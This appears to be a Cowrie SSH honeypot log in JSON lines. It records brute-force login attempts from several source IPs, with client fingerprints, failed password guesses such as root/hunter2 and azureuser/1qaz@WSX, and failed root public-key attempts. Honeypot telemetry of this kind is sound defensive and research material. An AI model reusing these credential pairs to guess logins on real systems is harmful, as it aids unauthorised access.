{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":46744,"dst_ip":"159.203.135.109","dst_port":22,"session":"936fb13d4a57","protocol":"ssh","message":"New connection: 43.156.17.27:46744 (159.203.135.109:22) [session: 936fb13d4a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:50.005140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:50.010153Z","src_ip":"43.156.17.27","session":"936fb13d4a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:50.131218Z","src_ip":"103.183.114.55","session":"f591fe0e8c2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:50.241544Z","src_ip":"43.156.17.27","session":"936fb13d4a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1111","message":"login attempt [test/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:51.200221Z","src_ip":"43.156.17.27","session":"936fb13d4a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:52.434891Z","src_ip":"43.156.17.27","session":"936fb13d4a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":39722,"dst_ip":"159.203.135.109","dst_port":22,"session":"50dcd0eae9e8","protocol":"ssh","message":"New connection: 165.154.227.158:39722 (159.203.135.109:22) [session: 50dcd0eae9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:53.972832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:53.981841Z","src_ip":"165.154.227.158","session":"50dcd0eae9e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:54.197816Z","src_ip":"165.154.227.158","session":"50dcd0eae9e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hunter2","message":"login attempt [root/hunter2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:55.091689Z","src_ip":"165.154.227.158","session":"50dcd0eae9e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:05:56.311385Z","src_ip":"165.154.227.158","session":"50dcd0eae9e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":37164,"dst_ip":"159.203.135.109","dst_port":22,"session":"448f808fc175","protocol":"ssh","message":"New connection: 193.32.162.151:37164 (159.203.135.109:22) [session: 448f808fc175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:02.168023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:02.173354Z","src_ip":"193.32.162.151","session":"448f808fc175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:02.279577Z","src_ip":"193.32.162.151","session":"448f808fc175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"1qaz@WSX","message":"login attempt [azureuser/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:02.609303Z","src_ip":"193.32.162.151","session":"448f808fc175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":57306,"dst_ip":"159.203.135.109","dst_port":22,"session":"6120f9a923f2","protocol":"ssh","message":"New connection: 103.149.170.125:57306 (159.203.135.109:22) [session: 6120f9a923f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:03.314816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:03.321483Z","src_ip":"103.149.170.125","session":"6120f9a923f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:03.595683Z","src_ip":"103.149.170.125","session":"6120f9a923f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:03.721022Z","src_ip":"193.32.162.151","session":"448f808fc175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwor","message":"login attempt [root/passwor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:04.390723Z","src_ip":"103.149.170.125","session":"6120f9a923f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:05.658653Z","src_ip":"103.149.170.125","session":"6120f9a923f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":35476,"dst_ip":"10.17.0.5","dst_port":22,"session":"adae13366a75","protocol":"ssh","message":"New connection: 193.228.128.84:35476 (10.17.0.5:22) [session: adae13366a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:57.918217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:57.923254Z","src_ip":"193.228.128.84","session":"adae13366a75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:58.025609Z","src_ip":"193.228.128.84","session":"adae13366a75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfnfkb","message":"login attempt [root/yfnfkb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:58.331919Z","src_ip":"193.228.128.84","session":"adae13366a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:06:59.437103Z","src_ip":"193.228.128.84","session":"adae13366a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.95.20.168","src_port":32782,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab8d32aa90a5","protocol":"ssh","message":"New connection: 23.95.20.168:32782 (10.17.0.5:22) [session: ab8d32aa90a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:00.908129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:00.917978Z","src_ip":"23.95.20.168","session":"ab8d32aa90a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:01.001558Z","src_ip":"23.95.20.168","session":"ab8d32aa90a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:ef:0c:7e:41:03:8c:cb:2f:62:b2:db:8e:04:18:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH5GJPKxMAY+kNm9kfQ5hMSWBJ3M2i06jmpWJm4nK1xoCZw0a4vjx6bRbaTDOU/njwdW3b1RHfbzoBf0bWdK3RnB6VPCEg/FggTxObUhn+mEPh5ajjNZxmHfPUBJ2F9pgDqxUMyRlws8afMloiExQ6YO9fuGGW25R/MGdcLCUOYAKCiFCjJVAkBKzXqBFXuOXH/ftjEiGUdJBdXQM6eiV32K0GIvB0nib2UewelUqwD7DyJRX+iFYvcYsWjX9a0BOB+9PUnjsv1V17M1+W3+7SiBmKBMtxXDRNwrakkKxLqte9to9wfBfzYHZ6AyOcpEYFvGk/B9jesS50xImMwkXJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:ef:0c:7e:41:03:8c:cb:2f:62:b2:db:8e:04:18:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:01.418355Z","src_ip":"23.95.20.168","session":"ab8d32aa90a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:ef:0c:7e:41:03:8c:cb:2f:62:b2:db:8e:04:18:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH5GJPKxMAY+kNm9kfQ5hMSWBJ3M2i06jmpWJm4nK1xoCZw0a4vjx6bRbaTDOU/njwdW3b1RHfbzoBf0bWdK3RnB6VPCEg/FggTxObUhn+mEPh5ajjNZxmHfPUBJ2F9pgDqxUMyRlws8afMloiExQ6YO9fuGGW25R/MGdcLCUOYAKCiFCjJVAkBKzXqBFXuOXH/ftjEiGUdJBdXQM6eiV32K0GIvB0nib2UewelUqwD7DyJRX+iFYvcYsWjX9a0BOB+9PUnjsv1V17M1+W3+7SiBmKBMtxXDRNwrakkKxLqte9to9wfBfzYHZ6AyOcpEYFvGk/B9jesS50xImMwkXJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:01.423213Z","src_ip":"23.95.20.168","session":"ab8d32aa90a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:fc:9f:18:aa:b9:0b:ad:4b:ff:92:da:b0:84:7a:d3","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ6lIHxPP8eXuF2d04isF9Q+PlUZYTLlqy+zO6OhzL1EZwCo7K1V5rZyjSHofcu6CQX0veMXl0uHpC5NTLT1g8OL3T+C2WJ0fxdZMlwtlZuwGTo1BpwWm4knfn2DtZ80bx4l0gkC8umEikO3DCF7YdjO/7ecSQ+Nea+1/QJkY72/AAAAFQCTM9hfrXGze2YHNaMcWAiDVytAjQAAAIBBNzLXs5EApMyAqnKReK+O3IedM3/0rM2xZYoRFmwO6rXGqMesUvL/PU8yB94xeDKTXlP3QRq4Y6p1l7nAX+MhqwuYtWaueI5x7pWKOADLOyRqVKGe9G7pDRUajtLsriD4hIA3+8XB9J0JvsXWYEYSL1ClZae2kM5wLE77T9DfqAAAAIA3y6rmAkiEP9QZKNEHw8gqmBpcsEr3pPxKCsFniqTQYJB5eFq7lbXlSEijt02rosypE39rWblkJg5KuSwPfSuY6ppf4PRjR5BbHhjpXNzixJuqU2T+YvpLqORX5LYvalY25yOqF0LtGj/4RmpwEmQs1qO8dY3nJldBrvVLIRKxLQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 94:fc:9f:18:aa:b9:0b:ad:4b:ff:92:da:b0:84:7a:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:01.510886Z","src_ip":"23.95.20.168","session":"ab8d32aa90a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:fc:9f:18:aa:b9:0b:ad:4b:ff:92:da:b0:84:7a:d3","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ6lIHxPP8eXuF2d04isF9Q+PlUZYTLlqy+zO6OhzL1EZwCo7K1V5rZyjSHofcu6CQX0veMXl0uHpC5NTLT1g8OL3T+C2WJ0fxdZMlwtlZuwGTo1BpwWm4knfn2DtZ80bx4l0gkC8umEikO3DCF7YdjO/7ecSQ+Nea+1/QJkY72/AAAAFQCTM9hfrXGze2YHNaMcWAiDVytAjQAAAIBBNzLXs5EApMyAqnKReK+O3IedM3/0rM2xZYoRFmwO6rXGqMesUvL/PU8yB94xeDKTXlP3QRq4Y6p1l7nAX+MhqwuYtWaueI5x7pWKOADLOyRqVKGe9G7pDRUajtLsriD4hIA3+8XB9J0JvsXWYEYSL1ClZae2kM5wLE77T9DfqAAAAIA3y6rmAkiEP9QZKNEHw8gqmBpcsEr3pPxKCsFniqTQYJB5eFq7lbXlSEijt02rosypE39rWblkJg5KuSwPfSuY6ppf4PRjR5BbHhjpXNzixJuqU2T+YvpLqORX5LYvalY25yOqF0LtGj/4RmpwEmQs1qO8dY3nJldBrvVLIRKxLQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:01.515204Z","src_ip":"23.95.20.168","session":"ab8d32aa90a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:20:dd:ba:7d:8d:9b:db:85:15:7f:ba:73:04:52:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsz4pkrKcjDf/SAariL+xqLKAsCxopf3ItYjRdakOzULCPfK0PYCGVM4OThKP531dbIlA4MArSkWudhvHV7DnxAUkISdAOgZ3l+QG+UiWtc1R4R/cmHL70eFwJQUUDOU5m/8t84p4E+BMBDML7/YISzJYw/ySdCGgkwVrwYChO18avZ2g5t6SnLOWC0Y7C2gUbcvPgNBVUdcdk9v6TGulA/JTkU39sXhRZGI+VxEdPKaEeozAAYjtZ+dui0TzUIBxqTtxuXZAiaMbxa/0dCNpSaKRvH9fYtiatZzoc77l+xlcBBOV3g3xumhVZ15rC8wTqeUM+M/s3coXdjZl0a//3Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:20:dd:ba:7d:8d:9b:db:85:15:7f:ba:73:04:52:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:01.601963Z","src_ip":"23.95.20.168","session":"ab8d32aa90a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:20:dd:ba:7d:8d:9b:db:85:15:7f:ba:73:04:52:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsz4pkrKcjDf/SAariL+xqLKAsCxopf3ItYjRdakOzULCPfK0PYCGVM4OThKP531dbIlA4MArSkWudhvHV7DnxAUkISdAOgZ3l+QG+UiWtc1R4R/cmHL70eFwJQUUDOU5m/8t84p4E+BMBDML7/YISzJYw/ySdCGgkwVrwYChO18avZ2g5t6SnLOWC0Y7C2gUbcvPgNBVUdcdk9v6TGulA/JTkU39sXhRZGI+VxEdPKaEeozAAYjtZ+dui0TzUIBxqTtxuXZAiaMbxa/0dCNpSaKRvH9fYtiatZzoc77l+xlcBBOV3g3xumhVZ15rC8wTqeUM+M/s3coXdjZl0a//3Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:07:01.606424Z","src_ip":"23.95.20.168","session":"ab8d32aa90a5","protocol":"ssh"}
